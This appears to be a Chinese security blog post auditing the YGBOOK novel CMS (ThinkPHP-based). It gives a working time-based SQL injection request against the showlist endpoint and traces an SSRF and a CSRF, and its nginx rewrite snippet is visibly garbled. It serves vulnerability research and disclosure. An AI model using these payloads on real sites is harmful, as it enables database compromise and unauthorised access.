点击上方蓝字·关注我们
由于传播、利用本公众号菜狗安全所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,公众号菜狗安全及作者不为此承担任何责任,一旦造成后果请自行承担!如有侵权烦请告知,会立即删除并致歉。
项目介绍
环境搭建
代码审计
项目分析
权限分析
前台文件寻找
前台SQL注入
SSRF
CSRF
最后
项目介绍
最新YGBOOK小说程序,源码已经完美修复各类BUG,所有文件都已经解密完成,深度SEO源码,批量全自动后台采集,并且不需要很大的硬盘即可安装,易云采集了20W本小说占用不到20G,自带4条采集规则,源码压缩包有安装教程,跟着安装很简单的
FOFA结果:
环境搭建
源码获取见文末
源码下载到本地,采用小皮搭建
配置thinkphp伪静态
if (!-e if (!-e $request_filename) {
rewrite ^(.*)$ /index.php?s=$1 last;
break;
}$request_filename) {
rewrite ^(.*)$ /index.php?s=$1 last;
break;
}
然后打开网站
根据内容配置创建数据库,配置数据库连接安装即可
代码审计
项目分析
项目基于Thinkphp3.2.3二开,我们审计时查看Application和Public目录即可
权限校验
系统后台权限校验主要基于AdminController
对应文件:Application/Admin/Controller/AdminController.class.php
这里初始化方法判断如果访问不为login或logout即触发鉴权逻辑,跟进checkadmin
session认证
前台文件寻找
利用工具筛选不含有AdminController
的文件
前台sql注入
这里我找了前台的一处,后天也有,看师傅们自己下去挖掘了,在搜索query(
无果后搜索where(
,通用大部分都有转移或者类型转换
对应文件:Application/Home/Controller/IndexController.class.php
在第103行中where()包含了一个变量$xzv_63,向上跟踪看变量类型是否为数组,不为数组是否可控
在95-98行定义了$xzv_63,这里我们要走slse,因为有可控变量,接着跟$xzv_46来源
在第72行通过get传参,并且在拼接过程中没有看到数据转换,存在注入
测试poc
GET /Home/Index/showlist?cate=123123');SELECT SLEEP(3)-- xxxx HTTP/1.1
Host: ygbookxiaoshuo:9988
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
sqlmap
SSRF
黑盒测试定位到点的
功能点:
查看数据包
定位到文件方法
文件:Application/Admin/Controller/IndexController.class.php
查看url的获取
在第539行通过post获取,赋值给$xzv_94['url'],这里在549行有个deimg方法,跟进方法
跟进20行的fillurl看下实现
发现是补全方法,然后把结果赋值给imgurl,发现在29行有个get_url方法参数是这里返回的imgurl,跟进
赋值代码AI改下格式
public function get_url($url, $use_curl = TRUE) {
if(function_exists('curl_init') && function_exists('curl_exec')) {
$content = $this->curl_get_contents($url, $use_curl);
} elseif(function_exists('fsockopen') || function_exists('pfsockopen')) {
$content = $this->fsock_get_contents($url);
} elseif(function_exists('file_get_contents')) {
$content = $this->fget_contents($url);
} else {
return null;
}
$content_length = strlen($content);
$decompressed = @gzdecode($content);
$decompressed_length = strlen($decompressed);
if($decompressed && $decompressed_length > $content_length) {
$content = $decompressed;
}
return $content;
}
使用curl_get_contents()
发送请求
CSRF
管理员密码修改无需旧密码,测试CSRF
[源码获取]微信公众号回复"最新YGBOOK"获取下载地址
原文始发于微信公众号(菜狗安全):【PHP代审】最新YGBOOK全自动采集小说源码
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论